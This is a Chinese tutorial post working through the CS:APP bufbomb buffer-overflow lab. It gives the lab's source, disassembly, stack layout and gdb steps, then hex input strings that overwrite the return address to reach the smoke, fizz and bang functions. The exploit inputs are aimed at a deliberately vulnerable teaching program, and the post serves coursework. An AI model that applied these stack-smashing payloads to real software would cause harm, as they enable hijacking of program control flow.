csapp bufbomb实验

csapp (《深入理解计算机系统》)一书中有一个关于缓冲区溢出的实验,其程序代码如下:

/* Bomb program that is solved using a buffer overflow attack */#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <signal.h>
#include <unistd.h>/* Signal handler to catch bus errors */
void bushandler(int sig)
{printf("Crash!: You caused a bus error!\n");printf("Better luck next time\n");exit(0);
}/* Signal handler to catch segmentation violations */
void seghandler(int sig)
{printf("Ouch!: You caused a segmentation fault!\n");printf("Better luck next time\n");exit(0);
}/* Alarm handler to catch infinite loops */
static int alarm_time = 600;void alarmhandler(int sig)
{printf("Dead!: getbuf didn't complete within %d seconds\n", alarm_time);printf("Better luck next time\n");exit(0);
}/* Illegal instruction handler */
void illegalhandler(int sig)
{printf("Oops!: You executed an illegal instruction\n");printf("Better luck next time\n");exit(0);
}/* Like gets, except that characters are typed as pairs of hex digits.Nondigit characters are ignored.  Stops when encounters newline */
char *getxs(char *dest)
{int c;int even = 1; /* Have read even number of digits */int otherd = 0; /* Other hex digit of pair */char *sp = dest;while ((c = getchar()) != EOF && c != '\n') {if (isxdigit(c)) {int val;if ('0' <= c && c <= '9')val = c - '0';else if ('A' <= c && c <= 'F')val = c - 'A' + 10;elseval = c - 'a' + 10;if (even) {otherd = val;even = 0;} else {*sp++ = otherd * 16 + val;even = 1;}}}*sp++ = '\0';return dest;
}int getbuf() {char buf[16];getxs(buf);return 1;
}void test() {int val;printf("Type Hex String: ");val = getbuf();printf("getbuf returned 0x%x\n", val);
}void smoke() {printf("Smoke: You called smoke()\n");exit(0);
}void fizz(int val) {if (val == 0xdeadbeef) {printf("Fizz!: You called fizz (0x%x)\n", val);}else {printf("Misfire: You called fizz (0x%x)\n", val);}exit(0);
}int global_value = 0;void bang() {if (global_value == 0xdeadbeef) {printf("Bang!: You set global_value to 0x%x\n", global_value);}else {printf("Misfire: global_value = 0x%x\n", global_value);}exit(0);
}int main()
{int buf[16];/* This little hack is an attempt to get the stack to be in astable position*/int offset = (((int) buf) & 0xFFFF);int *space = (int *) alloca(offset);*space = 0; /* So that don't get complaint of unused variable */signal(SIGSEGV, seghandler);signal(SIGBUS, bushandler);signal(SIGALRM, alarmhandler);signal(SIGILL,  illegalhandler);/* Set up time out condition */alarm(alarm_time);test();return 0;
}

 要求程序输出 Smoke!: You called smoke()

 

 

我所使用的系统环境(archlinux 2010.05, gcc 4.5.2, gdb 7.2, objdump(bintuils) 2.21):

该问题中关键的两个函数是test和getbuf,需要了解执行这两个函数的栈帧布局。

 

先运行

gcc -o bufbomb -g -Wall bufbomb.c
objdump -d bufbomb > bufbomb.s
这两条命令得到bufbomb.s,该文件中test和getbuf对应内容如下:

080486a6 <getbuf>:80486a6:	55                   	push   %ebp80486a7:	89 e5                	mov    %esp,%ebp80486a9:	83 ec 28             	sub    $0x28,%esp80486ac:	8d 45 e8             	lea    -0x18(%ebp),%eax80486af:	89 04 24             	mov    %eax,(%esp)80486b2:	e8 20 ff ff ff       	call   80485d7 <getxs>80486b7:	b8 01 00 00 00       	mov    $0x1,%eax80486bc:	c9                   	leave  80486bd:	c3                   	ret    080486be <test>:80486be:	55                   	push   %ebp80486bf:	89 e5                	mov    %esp,%ebp80486c1:	83 ec 28             	sub    $0x28,%esp80486c4:	b8 ef 89 04 08       	mov    $0x80489ef,%eax80486c9:	89 04 24             	mov    %eax,(%esp)80486cc:	e8 63 fd ff ff       	call   8048434 <printf@plt>80486d1:	e8 d0 ff ff ff       	call   80486a6 <getbuf>80486d6:	89 45 f4             	mov    %eax,-0xc(%ebp)80486d9:	b8 01 8a 04 08       	mov    $0x8048a01,%eax80486de:	8b 55 f4             	mov    -0xc(%ebp),%edx80486e1:	89 54 24 04          	mov    %edx,0x4(%esp)80486e5:	89 04 24             	mov    %eax,(%esp)80486e8:	e8 47 fd ff ff       	call   8048434 <printf@plt>80486ed:	c9                   	leave  80486ee:	c3                   	ret    

 最左侧部分是汇编指令的内存地址,其中与    printf("getbuf returned 0x%x\n", val); 这一句对应的汇编语句为:

 80486e1:	89 54 24 04          	mov    %edx,0x4(%esp)80486e5:	89 04 24             	mov    %eax,(%esp)80486e8:	e8 47 fd ff ff       	call   8048434 <printf@plt>

其中的printf指令地址为0x080486e8,由于intel处理器采用小端法表示,所以实际表示为e8860408

 

执行gdb bufbomb命令,在getbuf函数设置断点(用break getbuf)

执行run命令,程序跳转至getbuff,然后用info reg查看寄存器内容,得到ebp值为0xbffeffb8   

 

根据上面的反汇编结果可以知道,调用getbuf函数时的栈帧(假设是地址从高向低排列)表示如下:

 

---------------

 

-----------------

 

---------------

getbuf 返回地址

----------------

ebp

------------------

暂为空

-----------------

暂为空

----------------

buf[12]-buf[15]

----------------

buf[8]-buf[11]

----------------

buf[4]-buf[7]

----------------

buf[0]-buf[3]

-----------------

 

在从getbuf返回后,我们要求输出smoke函数内容,即将smoke的返回地址(0x080486ef,即ef860408)压入到getbuf所在地址处。因为smoke函数没有函数参数,所以不需要多余的处理.

接着运行bufbomb程序,提示输入字符串,我输入的字符串为:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 ff fe bf ef 86 04 08

输出结果为:Smoke: You called smoke()

其中前面24个字节为空(其实这些内容可以为任意值),接下来是ebp地址,它需要保持原来的内容。再然后是smoke函数的返回地址。

 

现在还没有完全完成所有的实验,还可以将返回地址设为fizz或者bang函数,然后也可以得到不同的输出结果。

例如,如果输入字符串为:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 ff fe bf 0d 87 04 08 ,此时得到输出结果为:Misfire: You called fizz (0xb773bff4)

如果输入字符串为:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 ff fe bf 0d 87 04 08 ef be ad de ef be ad de
可以得到输出结果为:Fizz!: You called fizz (0xdeadbeef)

这个例子中使用了fizz的返回地址(0x0804870d,可以在上面的反汇编代码中找到fizz标记左侧的地址即是,还有fizz的形参的内容不做修改和修改为0xefbeadde时 的情况)

 

如果输入字符串为:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 ff fe bf 52 87 04 08 ,得到输出结果为Misfire: global_value = 0x0
如果输入字符串为00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 ff fe bf 64 87 04 08 ,得到输出结果为Bang!: You set global_value to 0x0
这个例子是直接跳转到bang的返回地址(0x08048752)或者printf(“Bang!: You set global_value to 0x0")语句对应汇编语句的首地址(0x08048764)

 

参考链接:

bufbomb lab assignment

缓冲区溢出攻击实验

ubuntu 9.10 缓冲区溢出实验

insecure programming

linux缓冲区溢出原理与对策

缓冲溢出分析

非安全编程演示之高级篇

buffer overflow on wikipedia

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/546042.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

漫画:对象是如何被找到的?句柄 OR 直接指针?

小贴士&#xff1a;想要使用并定位 Java 对象&#xff0c;就要用到 Java 虚拟机栈&#xff08;Java Virtual Machine Stack&#xff09;&#xff0c;它描述的是 Java 方法执行的线程内存模型&#xff1a;每个方法被执行的时候&#xff0c;Java 虚拟机都会同步创建一个栈帧&…

在C ++中检查一个数组是否是另一个数组的子数组

Prerequisite: std::equal() function 先决条件&#xff1a; std :: equal()函数 Problem statement: 问题陈述&#xff1a; Check if one array is subarray of another or not. 检查一个数组是否是另一个数组的子数组。 Example: 例&#xff1a; Input 1:Arr1 [3, 4, 5, …

第二章 认识计算机硬件

*(%)^*&!*第一讲 认识计算机主板一、主板的结构1、主板结构分类&#xff08;2&#xff09;AT、Baby-AT型&#xff08;2&#xff09;ATX型&#xff08;3&#xff09;Micro ATX板型&#xff08;4&#xff09;LPX、NLX、Flex ATX板型&#xff08;5&#xff09;EATX、WATX板型&…

IDEA 不为人知的 5 个骚技巧!真香!

工欲善其事&#xff0c;必先利其器&#xff0c;磊哥最近发现了几个特别棒的 IDEA“骚”技巧&#xff0c;已经迫不及待的想要分享给你了&#xff0c;快上车...1.快速补全行末分号使用快捷键 Shfit Ctrl Enter 轻松实现。2.自带的 HTTP 请求工具IDEA 自带了 HTTP 的测试工具&am…

教育编程语言(转)

这是wikipedia上的内容&#xff0c;转载保存&#xff0c;以便以后查阅&#xff0c;英文版见Educational programming language 主要是介绍了一些适合于教育的编程语言&#xff0c;分别适合于不同的个人需求。 详细内容如下&#xff1a; 许多教育性质的程序设计语言都提供建议…

JavaScript | 将十进制转换为十六进制,反之亦然

Sometimes we need to convert an integer value which is in decimal format to the hexadecimal string in JavaScript or need a decimal value from a given hexadecimal string. 有时&#xff0c;我们需要将十进制格式的整数值转换为JavaScript中的十六进制字符串&#xf…

漫画:Integer 竟然有 4 种比较方法?

代码测试public class IntegerTest {public static void main(String[] args) {Integer i1 127;Integer i2 127;System.out.println(i1 i2);Integer i3 128;Integer i4 128;System.out.println(i3 i4);} }以上代码的执行结果为&#xff1a;truefalse首先&#xff0c;当我…

第三章 组装个人计算机

*(%)^*&!*第一讲 选购个人计算机部件1、计算机配件选购的基本原则&#xff08;1&#xff09;组装电脑按需配置&#xff0c;明确电脑使用范围&#xff1b;&#xff08;2&#xff09;衡量装机预算&#xff1b;&#xff08;3&#xff09;衡量整机运行速度。2、电脑配件选购注意…

IP地址的分类——a,b,c 类是怎样划分的

如今的IP网络使用32位地址&#xff0c;以点分十进制表示&#xff0c;如172.16.0.0。地址格式为&#xff1a;IP地址网络地址&#xff0b;主机地址 或 IP地址主机地址&#xff0b;子网地址&#xff0b;主机地址。 IP地址类型 最初设计互联网络时&#xff0c;为了便于寻址以及层次…

《Introduction to Computing Systems: From bits and gates to C and beyond》

很好的一本计算机的入门书&#xff0c;被很多学校采纳作为教材&#xff0c;作者Yale N. Patt 是计算机界的泰斗。中文版名为《计算机系统概论》&#xff08;译者&#xff1a;梁阿磊 , 蒋兴昌, 林凌&#xff09; 书籍首页 (旧版首页 &#xff09; LC-3相关工具 LC-3Help 采…

在数组中查找第k个最大元素_查找数组中每个元素的最近最大邻居

在数组中查找第k个最大元素Problem statement: 问题陈述&#xff1a; Given an array of elements, find the nearest (on the right) greatest element ofeach element in the array. (Nearest greatest means the immediate greatest one on the right side). 给定一个元素数…

6种快速统计代码执行时间的方法,真香!(史上最全)

我们在日常开发中经常需要测试一些代码的执行时间&#xff0c;但又不想使用向 JMH&#xff08;Java Microbenchmark Harness&#xff0c;Java 微基准测试套件&#xff09;这么重的测试框架&#xff0c;所以本文就汇总了一些 Java 中比较常用的执行时间统计方法&#xff0c;总共…

fltk 库

fltk是一个小型、开源、支持OpenGL 、跨平台&#xff08;windows,linux,mac OSX)的GUI库&#xff0c;它兼容xforms 图形库&#xff08;unix/linux下的一个C语言图形库)&#xff0c;所以可以用来开发模块化的程序&#xff0c;同时也可以使用面向对象开发程序&#xff0c;使用起来…

人工智能ai 学习_人工智能中强化学习的要点

人工智能ai 学习As discussed earlier, in Reinforcement Learning, the agent takes decisions in order to attain maximum rewards. These rewards are the reinforcements through which the agent learns in this type of agent. 如前所述&#xff0c;在“ 强化学习”中 &…

第四章 计算机软件安装与调试

*(%)^*&!*第一讲 系统BIOS和CMOS参数设置&#xff08;1&#xff09;一、BIOS、CMOS的基本概念1.BIOS的含义BIOS是只读存储器基本输入/输出系统的简写&#xff0c;是被雇花道计算机主板ROM芯片上的一组程序&#xff0c;为计算机提供最低级、最直接的硬件控制。2.CMOS的含义C…

连夜整理了几个开源项目,毕设/练手/私活一条龙!

一直以来&#xff0c;总有小伙伴问说&#xff1a;诶&#xff0c;有没有什么好的项目推荐啊&#xff0c;想参考使用。一般用途无非如下几种情况&#xff1a;自学练手&#xff1a;从书本和博客的理论学习&#xff0c;过渡到实践练手吸收项目经验&#xff0c;找工作写简历时能参考…

MPI编程简单介绍

第三章 MPI编程 3.1 MPI简单介绍 多线程是一种便捷的模型&#xff0c;当中每一个线程都能够訪问其他线程的存储空间。因此&#xff0c;这样的模型仅仅能在共享存储系统之间移植。一般来讲&#xff0c;并行机不一定在各处理器之间共享存储&#xff0c;当面向非共享存储系统开发…

英语电视节目网站

最近想练习一下英语听力&#xff0c;看到了一个网站&#xff0c;感觉好像还不错&#xff0c;播放比较流畅&#xff0c;语速相对来说比较慢&#xff0c;发音比较清晰。 链接&#xff1a;CSPAN 还有更多网站见&#xff1a;Broadband-Television BON CNC 英文在线广播&#x…

三位bcd加法计数器_两个8位BCD编号的加法| 8085微处理器

三位bcd加法计数器Problem statement: 问题陈述&#xff1a; To perform addition operation between two 8-bit BCD numbers using 8085 microprocessor. 使用8085微处理器在两个8位BCD编号之间执行加法运算。 Algorithm: 算法&#xff1a; Load the two numbers in HL pai…

第五章 计算机故障诊断与排除

*(%)^*&!*第一讲 计算机故障基础及电源类故障诊断和维护一、计算机故障的分类1.硬件故障硬件故障是指用户使用不当或由于电子元件故障而引起计算机硬件不能正常运行的故障。常见的硬件故障现象包括&#xff1a;&#xff08;1&#xff09;电源故障&#xff0c;导致没有供电或…